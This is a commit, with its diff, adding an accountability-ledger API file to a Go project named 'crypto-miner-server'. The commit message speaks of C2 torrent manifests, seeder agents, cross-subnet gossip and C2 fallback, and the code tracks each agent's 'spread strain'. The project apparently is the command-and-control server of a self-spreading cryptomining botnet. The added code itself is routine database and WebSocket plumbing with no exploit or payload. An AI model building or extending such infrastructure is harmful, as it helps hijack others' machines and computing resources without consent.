Add Fleet Torrent erasure extension with shard DHT and gossip.

Content-addressed shard DHT on seeder agents with subnet_primary_seeder election, cross-subnet fleet_torrent_gossip, BGP swarm magnets, C2 torrent manifest, and k-of-n peer fetch with C2 fallback.

server/internal/api/oath_ledger.go

@@ -0,0 +1,83 @@
+package api
+
+import (
+	"net/http"
+	"strconv"
+	"strings"
+
+	dbpkg "crypto-miner-server/internal/db"
+)
+
+// OathLedgerBridge records immutable rows and broadcasts dashboard WS events.
+type OathLedgerBridge struct {
+	DB  *dbpkg.Database
+	Hub *WSHub
+}
+
+// Record appends one oath ledger row and emits oath_ledger_event when a hub is wired.
+func (b *OathLedgerBridge) Record(actor, actionType, agentID, strain, outcome string, whySource, payload interface{}) error {
+	if b == nil || b.DB == nil {
+		return nil
+	}
+	whyHash := dbpkg.HashWhyJSON(whySource)
+	entry, err := b.DB.InsertOathLedger(actor, actionType, agentID, strain, whyHash, outcome, payload)
+	if err != nil {
+		return err
+	}
+	if b.Hub != nil && entry != nil {
+		b.Hub.BroadcastOathLedgerEvent(*entry)
+	}
+	return nil
+}
+
+// BroadcastOathLedgerEvent pushes a live oath row to dashboard clients.
+func (h *WSHub) BroadcastOathLedgerEvent(entry dbpkg.OathLedgerEntry) {
+	if h == nil {
+		return
+	}
+	h.broadcastDashboard(Message{
+		Type:    "oath_ledger_event",
+		Payload: mustMarshal(entry),
+	})
+}
+
+// GetOathLedger lists recent immutable accountability rows.
+func (f *FleetHandler) GetOathLedger(w http.ResponseWriter, r *http.Request) {
+	if f.db == nil {
+		writeJSON(w, []dbpkg.OathLedgerEntry{})
+		return
+	}
+	limit := 100
+	if raw := strings.TrimSpace(r.URL.Query().Get("limit")); raw != "" {
+		if n, err := strconv.Atoi(raw); err == nil && n > 0 {
+			limit = n
+		}
+	}
+	rows, err := f.db.ListOathLedger(limit)
+	if err != nil {
+		http.Error(w, err.Error(), http.StatusInternalServerError)
+		return
+	}
+	if rows == nil {
+		rows = []dbpkg.OathLedgerEntry{}
+	}
+	writeJSON(w, rows)
+}
+
+func agentStrainFromDB(database *dbpkg.Database, agentID string) string {
+	if database == nil || agentID == "" {
+		return ""
+	}
+	ag, err := database.GetAgent(agentID)
+	if err != nil || ag == nil {
+		return ""
+	}
+	return ag.SpreadStrain
+}
+
+func oathOutcomeFromError(err error) string {
+	if err != nil {
+		return dbpkg.OathOutcomeFail
+	}
+	return dbpkg.OathOutcomeSuccess
+}